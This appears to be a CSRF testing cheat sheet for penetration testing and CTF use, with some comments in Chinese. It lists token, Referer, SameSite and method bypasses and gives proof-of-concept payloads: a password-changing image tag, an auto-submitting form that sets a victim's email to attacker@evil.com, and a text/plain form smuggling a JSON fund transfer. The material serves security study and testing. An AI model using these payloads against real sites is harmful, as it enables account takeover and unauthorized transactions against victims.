CSRF exploits the browser's automatic Cookie-carrying behavior, causing the victim to send requests as themselves without their knowledge.
Phase 1: Identify CSRF Risks
1.1 Check Protection Mechanisms
For requests involving sensitive operations, check whether the following protections exist:
- CSRF Token: in the form
<input type="hidden" name="csrf_token"> - SameSite Cookie:
Set-Cookie: session=xxx; SameSite=Strict/Lax - Referer/Origin check: the server verifies the request source
- Custom Header: such as
X-Requested-With: XMLHttpRequest
1.2 High-Value Target Operations
- Change password/email (→ account takeover)
- Transfer funds/payment
- Add administrator
- Bind/unbind third-party accounts
- Modify permissions/roles
Phase 2: Bypass CSRF Protections
2.1 Token Bypass
# 删除 token 参数 — 某些实现只在 token 存在时才验证
csrf_token= (空值)
# 使用其他用户的 token — 某些实现只检查 token 有效性,不绑定用户
# 用自己的账号获取一个 token,给受害者用
# Token 在 Cookie 中 — 可通过子域 XSS 设置 Cookie
Cookie: csrf=TOKEN
Body: csrf_token=TOKEN (两者匹配即可)
2.2 Referer/Origin Bypass
# 不发送 Referer
<meta name="referrer" content="no-referrer">
# 包含目标域名的 URL
https://evil.com/csrf?target.com
https://target.com.evil.com
# 空 Referer(某些实现只在 Referer 存在时才检查)
2.3 SameSite Bypass
SameSite=Lax: GET requests can still be cross-site (top-level navigation) → if the operation accepts GET, it can be exploitedSameSite=None: no protection- No SameSite attribute: old browsers default to None
- When POST is blocked by SameSite, switching to GET may not be restricted (method not restricted)
2.4 Token Validation Flaws
- Attacker's token used on behalf of the victim: hardcode your own token in the PoC
- The server only checks token validity, not ownership (validation flaw)
2.5 Method Bypass
- GET method bypass: some modification operations also accept GET (developer error)
window.locationA redirect is enough to trigger a GET request- When POST is blocked by CSRF protection, GET may not be restricted
Phase 3: Construct CSRF PoC
GET request
<img src="http://target/api/changePassword?new=hacked">
POST request (form auto-submit)
<form action="http://target/api/changeEmail" method="POST" id="f">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('f').submit();</script>
JSON Body (requires CORS cooperation)
If the API requires Content-Type: application/json, check:
- Whether it accepts
Content-Type: text/plain(form can send) - Whether CORS allows cross-origin POST
<form action="http://target/api/transfer" method="POST" enctype="text/plain">
<input name='{"amount":1000,"to":"attacker","x":"' value='"}'>
</form>
Phase 4: CTF Scenarios
In CTFs, CSRF is usually combined with an XSS Bot:
- Discover a CSRF vulnerability → construct a malicious page
- Submit the link to the "admin bot" (simulating an administrator click)
- The administrator performs the operation as themselves (change password/obtain flag)